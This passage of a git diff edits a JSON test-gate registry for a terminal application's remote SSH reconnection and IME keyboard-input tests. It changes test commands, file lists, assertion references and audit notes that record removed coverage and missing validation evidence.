src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts --reporter=dot\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"pnpm run build:web-from-renderer\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n \"src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts\",\n \"src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\n \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\n \"tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts\",\n \"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\n \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n \"src/main/ssh/connection/ssh-connection.test.ts\",\n \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n \"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n \"assertions\": [\n \"a pane parked while the client slept is authoritatively activated and rematerialized without leaving any pane handle null\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n \"assertions\": [\n \"ten synthetic partition cycles retain one PTY identity, deliver each held detached input exactly once and release each epoch subscription exactly once; decoded live input/output remains current\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n \"assertions\": [\n \"a suspended client receives a fresh probe deadline after resume and post-resume activity clears it\"\n ]\n },\n {\n \"file\": \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n \"assertions\": [\n \"disconnect invalidates a pending transport attempt immediately so late rejection or resolution cannot remove the replacement\"\n ]\n },\n {\n \"file\": \"src/main/ssh/connection/ssh-connection.test.ts\",\n \"assertions\": [\n \"late ssh2 ready and startup error events after disconnect cannot resurrect or overwrite disconnected state\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\",\n \"assertions\": [\n \"retained connection states reject partial or malformed authority\",\n \"only partial compatibility authority can normalize to unknown for bounded direct-SSH reconciliation\",\n \"shared direct SSH authority admission requires bounded identifiers and a non-negative safe generation\"\n ]\n },\n {\n \"file\": \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n \"assertions\": [\n \"partial runtime authority is rejected through the captured subscription callback before environment state receives it\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts --reporter=dot\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts --reporter=dot\",\"pnpm exec electron-vite build --mode e2e\",\"pnpm run build:web-from-renderer\"],\"testFiles\":[\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\"src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts\",\"src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\"src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\"src/main/ssh/connection/ssh-connection-manager.test.ts\",\"src/main/ssh/connection/ssh-connection.test.ts\",\"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\"assertions\":[\"a pane parked while the client slept is authoritatively activated and rematerialized without leaving any pane handle null\"]},{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\"assertions\":[\"ten synthetic partition cycles retain one PTY identity, deliver each held detached input exactly once and release each epoch subscription exactly once; decoded live input/output remains current\"]},{\"file\":\"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\"assertions\":[\"a suspended client receives a fresh probe deadline after resume and post-resume activity clears it\"]},{\"file\":\"src/main/ssh/connection/ssh-connection-manager.test.ts\",\"assertions\":[\"disconnect invalidates a pending transport attempt immediately so late rejection or resolution cannot remove the replacement\"]},{\"file\":\"src/main/ssh/connection/ssh-connection.test.ts\",\"assertions\":[\"late ssh2 ready and startup error events after disconnect cannot resurrect or overwrite disconnected state\"]},{\"file\":\"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\",\"assertions\":[\"retained connection states reject partial or malformed authority\",\"only partial compatibility authority can normalize to unknown for bounded direct-SSH reconciliation\",\"shared direct SSH authority admission requires bounded identifiers and a non-negative safe generation\"]},{\"file\":\"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\"assertions\":[\"partial runtime authority is rejected through the captured subscription callback before environment state receives it\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"linux\"],\"coveredProviders\":[\"ssh\",\"remote-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The remote-runtime fault tests failed before the recovery changes by leaving a cold restored subscription detached, reporting connected before authoritative replay, delivering a fatal setup error twice, and allowing an unknown create outcome to spawn again after process-local state was lost. For STA-3107, reverting #11542 in the six-pane multiplex harness leaves exactly one parked pane without a resubscribed handle while its siblings recover; before #12664, the first post-sleep host snapshot erases every stale client-owned sidebar row despite live tabs and host PTYs. The deterministic contracts pass after host activation rematerializes the missing pane and client-written ownership, rather than freshness, controls row retention. On exact pre-fix HEAD 939719443, the split-pane store, fresh-spawn, and reattach oracles failed because the first success removed pending authority and the sibling could not bind; the same three oracles pass after live bindings retain the exact attempt ID. On exact committed HEAD d501f2e96, primary-exit-before-sibling and primary/non-primary split-detach oracles failed because live authority was deleted during the empty gap or transferred to only one resulting tab; all three pass after continuation-gap preservation and two-sided detach projection. On exact committed HEAD d44ea382b with test-only oracles, a pending-only all-null detach deleted the attempt ledger, a sibling mounted after first success committed without its lease, and that sibling could bind after authority rotation; all three pass after pending-only projection and retained-live-lease capture with provider retirement. On exact committed HEAD 9fa84dacf, the production-manager in-progress oracle rejected the fresh authority and the forward-removal barrier delayed stale transport cancellation; both pass after replacement starts cancellation immediately, shares concurrent fresh callers, and waits for teardown before connecting. On exact committed HEAD e5ba9a9e5, overlapping disconnect allowed a replacement connect before forward teardown completed and delayed transport cancellation behind that barrier; disconnect, removal, and terminate now share a target lifecycle barrier, start transport cancellation immediately, retain captured-session identity, and admit the replacement only after cleanup. On exact committed HEAD 9a29e7a81, a rejected forward teardown short-circuited the lifecycle while transport disconnect was pending, removal left its captured relay session alive, same-turn connect escaped admission, and reset remained outside the target barrier; the exact failure oracles pass after both cleanup branches settle, captured sessions always retire, admission is authority-fenced, and reset shares the barrier. On exact committed HEAD 47c7198f2, reset's remaining bespoke forward teardown could still reject after authority rotation but before captured-session retirement; reset now uses the same hardened session teardown and a failed reset remains cleanly retryable. Other direct SSH tests encode red conditions for non-atomic binding clear, cross-target retry, folder omission, duplicate same-authority attempts, hydration overwrite, terminal finalization delayed behind provider work, obsolete-authority pending-spawn adoption, Git lineage namespace mismatch, and snapshot PTY hint promotion without exact-attempt acknowledgement. Existing SSH and stale-handle reattach coverage remains green. Needs WSL, paired-close, and a patched live remote-runtime partition journey before promotion.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer contracts, one current 627-test direct SSH run, and current Docker/Linux reconnect and six-terminal cold-restore journeys pass locally. One pressure run entered reconnect while waiting for its seventh marker; later runs delivered all markers but exposed an independent disappearing-second-file fixture race. The corrected two-reader single-file load passed the complete 4/4 suite while retaining concurrent stream pressure. Live multi-target fanout still needs CI soak history before promotion.\"},\"runtimeBudget\":{\"p95Seconds\":150,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Direct SSH terminal invalidation and retry each use one exact-target store publication and execute before provider discovery; another target's five occupied provider slots cannot delay terminal finalization. Each split-pane completion or delayed mount adds constant-time pending/live lease lookups and no provider listing, polling, subprocess, cross-tab scan, or new fanout; two mounted leaves still perform exactly their two existing provider operations. Delayed snapshot placement retains at most one 10-second store subscription and timer per target; supersession and stop abort both immediately, remove the listener, and clear the timer. The scheduler caps locally unsettled detected-worktree work at five with a two-call late-work allowance. Remote-runtime recovery allocates at most one backoff timer and one one-minute deadline per detached pane, then stops all PTY retry work until explicit user action. Each transport suppresses at most eight distinct error strings and emits at most eight clear callbacks on recovery; each live pane retains at most eight messages, and every message and joined display is clipped to 24 lines and 4,000 characters. Explicit split close and pane replacement release their entries. This adds no provider request, polling, subprocess, or terminal-output work. Timers, accepted-snapshot listeners, stale streams, and pane UI entries are released on health, cutoff, rebind, removal, detach, or destroy; ten-cycle tests prove one unsubscribe per epoch. Common terminal input/output paths add only bounded state checks. No live large-terminal-map direct SSH timing is claimed.\"}}" ], "demotionRule": "Cannot promote if provider failure can close panes or if the oracle is screenshot-only." }, @@ -9229,9 +8185,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "remote-runtime"], - "coveredPlatforms": ["macos", "linux"], + "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5914 retires the whole renderer suite selecting real xterm non-placeholder remainder/mask ownership, blur cleanup, active repaint reclassification and newest composition-session ownership. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5896 retires the whole update-only resumed-preedit visibility suite, intentionally losing its real commit/visibility/cleanup alarm. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Input/terminal layout cleanup retires the complete mocked macOS keyboard-layout notification test. The rapid-change coalescing and latest-generation refresh-signal alarms are intentionally lost. The retained IME and keyboard tests do not establish equivalent replacement coverage. The unchanged dated fcitx replay receipt keeps its exact command, duration and platform scope; it does not validate the retired layout-notification contract. No fresh gate execution, native layout/IME, remote/mobile, cross-platform, red/green, soak or measured-budget result is claimed.", + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5914 retires the whole renderer suite selecting real xterm non-placeholder remainder/mask ownership, blur cleanup, active repaint reclassification and newest composition-session ownership. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5896 retires the whole update-only resumed-preedit visibility suite, intentionally losing its real commit/visibility/cleanup alarm. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Input/terminal layout cleanup retires the complete mocked macOS keyboard-layout notification test. The rapid-change coalescing and latest-generation refresh-signal alarms are intentionally lost. The retained IME and keyboard tests do not establish equivalent replacement coverage. The unchanged dated fcitx replay receipt keeps its exact command, duration and platform scope; it does not validate the retired layout-notification contract. No fresh gate execution, native layout/IME, remote/mobile, cross-platform, red/green, soak or measured-budget result is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/6699", "https://github.com/stablyai/orca/pull/6682", @@ -9242,19 +8198,17 @@ "https://github.com/stablyai/orca/pull/17170" ], "invariant": "Composition, native text forwarding, synthetic input, paste, and platform keyboard bypass paths must not send preedit/control bytes before commit and must commit text exactly once to the intended PTY. A live preedit must stay visible across an IME-resumed transaction, preserve every committed row-tail cell hidden by its opaque overlay, mask only a structurally verified Codex or Claude placeholder and never a row carrying typed text, keep the themed insertion caret and native candidate anchor inside the terminal at the final column, and clean up without stale overlay children or ownership classes. Layout-native Option text must preserve negotiated CSI-u alternate/associated fields and lock modifiers, distinguish repeat from press, and resolve releases with the press's primary identity plus the actual keyup modifiers without exposing a partial or stale layout refresh. An in-focus macOS input-source change must invalidate both renderer authorities before the next key can use the old source. When the snapshot source proves kitty state, macOS Preview commits must use the application's effective flags after the sequenced snapshot and every proven replay/live transition, and a claimed press delivered under report_event_types must produce exactly one matching release regardless of whether keyup arrives before or after insertText and regardless of xterm's defensive internal reset.", - "oracle": "Audit5914 retires the whole renderer suite selecting real xterm non-placeholder remainder/mask ownership, blur cleanup, active repaint reclassification and newest composition-session ownership. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5896 retires the whole update-only resumed-preedit visibility suite, intentionally losing its real commit/visibility/cleanup alarm. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Retained IME/keyboard sources provide only their surviving authored oracles. The unchanged fcitx replay receipt remains scoped to its original command. No direct macOS layout-notification coalescing or latest-generation refresh oracle remains after its complete test retirement. Prior broad oracle account is historical and archived in knownGaps; no equivalent replacement or new execution is claimed.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5914 retires the whole renderer suite selecting real xterm non-placeholder remainder/mask ownership, blur cleanup, active repaint reclassification and newest composition-session ownership. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim. Complete prior account retained verbatim: Audit5896 retires the whole update-only resumed-preedit visibility suite, intentionally losing its real commit/visibility/cleanup alarm. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Retained IME/keyboard sources provide only their surviving authored oracles. The unchanged fcitx replay receipt remains scoped to its original command. No direct macOS layout-notification coalescing or latest-generation refresh oracle remains after its complete test retirement. Prior broad oracle account is historical and archived in knownGaps; no equivalent replacement or new execution is claimed.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/input/terminal-composer-draft.test.ts src/main/daemon/emulation/testing/terminal-cursor-line-context.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts", - "pnpm run test:e2e -- tests/e2e/chinese-ime-chat-input-repro.spec.ts", - "pnpm run test:e2e -- tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts", - "pnpm run test:e2e -- tests/e2e/terminal-option-composed-ascii.spec.ts" + "pnpm run test:e2e -- tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts" ], "testFiles": [ - "tests/e2e/terminal-option-composed-ascii.spec.ts", + "tests/e2e/terminal/ime/terminal-option-composed-ascii.spec.ts", "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-native-text-forwarder.test.ts", "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-macos-keybinding-dict-trace.test.ts", "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-linux-fcitx4-trace-replay.test.ts", @@ -9263,10 +8217,7 @@ "src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts", "src/renderer/src/web/preload-api/preferences/web-preload-api-ui.test.ts", "src/shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker.test.ts", - "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts", - "tests/e2e/chinese-ime-chat-input-repro.spec.ts", - "tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts", - "tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts" + "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts" ], "assertionRefs": [ { @@ -9277,15 +8228,6 @@ "an XIM pick's code-less keydown pairs with its keyup so kitty event reporting sends one release per pick" ] }, - { - "file": "tests/e2e/terminal-option-composed-ascii.spec.ts", - "assertions": [ - "a live kitty-negotiated pane receives the Option-composed ASCII character, not the physical alt chord", - "an Option layer that also needs Shift still reaches the pty as text", - "configured Option-as-Alt still reports the layout-resolved physical chord", - "a non-ASCII Option glyph still reaches the application as its alt hotkey" - ] - }, { "file": "src/renderer/src/components/terminal-pane/input/keyboard/terminal-option-kitty-release.test.ts", "assertions": ["Autorepeat cannot replace the first release sender."] @@ -9297,29 +8239,6 @@ "repeated replay pushes cannot inflate the live stack: one live exit pop returns flags to zero", "a live push/pop after restoring nonzero snapshot metadata exhausts the mirror stack to numeric zero with undefined snapshot proof" ] - }, - { - "file": "tests/e2e/chinese-ime-chat-input-repro.spec.ts", - "assertions": [ - "Sogou-style Space candidate selection submits only the committed Chinese character", - "Sogou-style digit candidate selection submits only the committed Chinese phrase", - "Post-composition Sogou-style digit selection stays out of the PTY after compositionend", - "Legacy orphaned-letter-keyup digit selection submits no selector byte to the PTY; real legacy candidate commit preservation remains a platform gap" - ] - }, - { - "file": "tests/e2e/terminal-korean-endofrow-preedit-cell-span.spec.ts", - "assertions": [ - "the rendered final-column preedit caret remains inside the terminal screen", - "a rendered full-width Korean preedit spans materially more than the one terminal cell reported in #12729" - ] - }, - { - "file": "tests/e2e/terminal-korean-midline-preedit-occlusion.spec.ts", - "assertions": [ - "the rendered opaque overlay reproduces every committed row-tail cell its measured rectangle hides", - "a real Codex placeholder with bold prompt, blank footer gap, model footer, and cursor at column 2 stays masked" - ] } ], "evidenceRuns": [ @@ -9336,19 +8255,19 @@ ], "runtimeBudget": { "p95Seconds": 90, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1361; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer input tests and the Electron/CDP Sogou-style repro are now registered; needs soak history and true platform IME evidence before promotion." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1361; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer input tests and the Electron/CDP Sogou-style repro are now registered; needs soak history and true platform IME evidence before promotion." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1361 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Focused tests cover existing native-text, input-source, paste/runtime forwarding, Linux/Sogou candidate selector, post-composition guard contracts, live-PTY Sogou-style candidate commits, and the Preview kitty slice (press/release pairing in both keyup orderings, and snapshot flag provenance separating a proven 0 from an absent field). Needs intentional-break proof for duplicate native text forwarding and composition preedit leakage, plus the broader language/platform matrix." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1361 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Focused tests cover existing native-text, input-source, paste/runtime forwarding, Linux/Sogou candidate selector, post-composition guard contracts, live-PTY Sogou-style candidate commits, and the Preview kitty slice (press/release pairing in both keyup orderings, and snapshot flag provenance separating a proven 0 from an absent field). Needs intentional-break proof for duplicate native text forwarding and composition preedit leakage, plus the broader language/platform matrix." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Terminal input hot-path audit clean through 2026-08-29: candidate guards retain O(1) checks and bounded per-pane state. Xterm overlay reconciliation scans only the current row, bounded by terminal columns, retains at most three current DOM children, reuses one preedit-bounds layout read for the visual geometry and the textarea the OS samples, and cancels its single deferred timer on replacement and disposal. The candidate anchor adds no layout read of its own: it clamps from the inline width xterm just wrote. Orca's placeholder binding reads the bounded visible cursor context at composition start and on xterm render only while a session is active, retaining one active session id and one disposable render listener. Layout changes add one process-lifetime native listener, two singleton renderer subscriptions, one O(live windows) broadcast per OS event, and generation-fenced refreshes whose native helper read is deduplicated in flight. The paths are event-driven and add no polling, per-key IPC, SSH/remote transport work, unbounded queues, or retained terminal data." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Terminal input hot-path audit clean through 2026-08-29: candidate guards retain O(1) checks and bounded per-pane state. Xterm overlay reconciliation scans only the current row, bounded by terminal columns, retains at most three current DOM children, reuses one preedit-bounds layout read for the visual geometry and the textarea the OS samples, and cancels its single deferred timer on replacement and disposal. The candidate anchor adds no layout read of its own: it clamps from the inline width xterm just wrote. Orca's placeholder binding reads the bounded visible cursor context at composition start and on xterm render only while a session is active, retaining one active session id and one disposable render listener. Layout changes add one process-lifetime native listener, two singleton renderer subscriptions, one O(live windows) broadcast per OS event, and generation-fenced refreshes whose native helper read is deduplicated in flight. The paths are event-driven and add no polling, per-key IPC, SSH/remote transport work, unbounded queues, or retained terminal data." }, "promotionCriteria": [ "Cover deterministic byte/cell oracles first.", @@ -9409,7 +8328,10 @@ "Input/terminal layout cleanup retires the complete mocked macOS keyboard-layout notification test. The rapid-change coalescing and latest-generation refresh-signal alarms are intentionally lost. The retained IME and keyboard tests do not establish equivalent replacement coverage. The unchanged dated fcitx replay receipt keeps its exact command, duration and platform scope; it does not validate the retired layout-notification contract. No fresh gate execution, native layout/IME, remote/mobile, cross-platform, red/green, soak or measured-budget result is claimed.\nHistorical original changed fields (verbatim JSONC value bytes; not current coverage or validation):\n{\n\"coverageNotes\": \"Audit5577 removes the entire src/main/ipc/terminal-preview-output-stream.test.ts suite and its active selectors/assertion reference. The sequenced live-output suffix and transformed replay overlap samples alarms are intentionally retired without equivalent replacement or fresh gate evidence. Unrelated dated receipts retain their exact original scopes. Historical account follows: Audit5117 narrows the Kitty tracker from 20 to 3 authored/finite cases. Retain exact split-live confirmed-shell-reset parity against xterm, replay-push idempotence with one live exit pop, and snapshot-restored nonzero-frame exhaustion yielding unknown proof. Intentionally remove nullish guards, generic push/pop and set/or/clear/default samples, ordinary split/C1 and fragmented DECSTR samples, reset/DECSTR/RIS matrices, replayed-pop happy path, relative/absolute proof, no-frame omitted-history pop, zero-baseline proof preservation, screen proof movement, baseline-grounding getter cases and withheld-protocol checks. No equivalent replacement or fresh execution claimed. Dated receipts and historical prose retain original scope. Previous account (preserved verbatim): Preload layout cleanup retires the complete mocked macOS keyboard bridge registration. Its API-read forwarding, two-phase payload forwarding and exact listener-disposer alarms are intentionally lost without equivalent replacement. The remaining restart/checkpoint registrations do not cover this IME contract. Unaffected dated receipts retain their original commands and scope; this metadata change claims no new execution. Previous account (preserved verbatim): Audit3699 removes the complete restored app-owned-copy xterm bypass predicate suite (3 authored/3 finite). Intentionally lose Linux/Windows Ctrl+Shift+C keydown/keyup and logical-over-physical-key pass-through, selection/Kitty-disabled/defaultPrevented refusal, and macOS Cmd+C pass-through/selection/Kitty-disabled policy alarms. No actual browser dispatch, clipboard operation, negotiated application bytes, native key delivery or PTY result was established by this driver. No equivalent replacement or fresh execution claimed. Preserve all prior dated receipts and historical accounts. Previous account (preserved verbatim): Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, 